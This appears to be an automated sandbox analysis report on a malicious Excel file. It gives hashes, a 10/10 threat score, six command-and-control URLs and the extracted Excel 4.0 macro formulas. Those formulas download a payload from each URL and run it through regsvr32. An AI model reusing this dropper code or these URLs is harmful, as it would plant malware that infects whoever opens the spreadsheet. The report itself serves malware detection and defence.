General

  • Target

    3f42439c38394a818a637454772c928ad06d3610d3604c2c440377667c690595

  • Size

    48KB

  • Sample

    241111-vnszrsvqcn

  • MD5

    fa19fcf7e00015564c90fcd2427b83f0

  • SHA1

    9205822bc908d8ca0c86d22e3545ab7827461055

  • SHA256

    3f42439c38394a818a637454772c928ad06d3610d3604c2c440377667c690595

  • SHA512

    843241eb2fac7ccec30cd4629fbfad3b6093e48140cbc1911fa4fe4098f8d94835b57e3aa8564100676427e7f1a0af5ceb04103fb5fb3846ebea92d1153da818

  • SSDEEP

    768:o2uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:/uTlbMKDNck01u/R2rZyjB+5

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://henrysfreshroast.com/OevI7Yy0i6YShxFl/

http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/

http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/

https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/

http://1000paginas.com/tienda/vWtT/

http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/OevI7Yy0i6YShxFl/","..\si.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/","..\si.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/","..\si.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/","..\si.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://1000paginas.com/tienda/vWtT/","..\si.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/","..\si.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\si.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://henrysfreshroast.com/OevI7Yy0i6YShxFl/

Targets

    • Target

      3f42439c38394a818a637454772c928ad06d3610d3604c2c440377667c690595

    • Size

      48KB

    • MD5

      fa19fcf7e00015564c90fcd2427b83f0

    • SHA1

      9205822bc908d8ca0c86d22e3545ab7827461055

    • SHA256

      3f42439c38394a818a637454772c928ad06d3610d3604c2c440377667c690595

    • SHA512

      843241eb2fac7ccec30cd4629fbfad3b6093e48140cbc1911fa4fe4098f8d94835b57e3aa8564100676427e7f1a0af5ceb04103fb5fb3846ebea92d1153da818

    • SSDEEP

      768:o2uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:/uTlbMKDNck01u/R2rZyjB+5

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks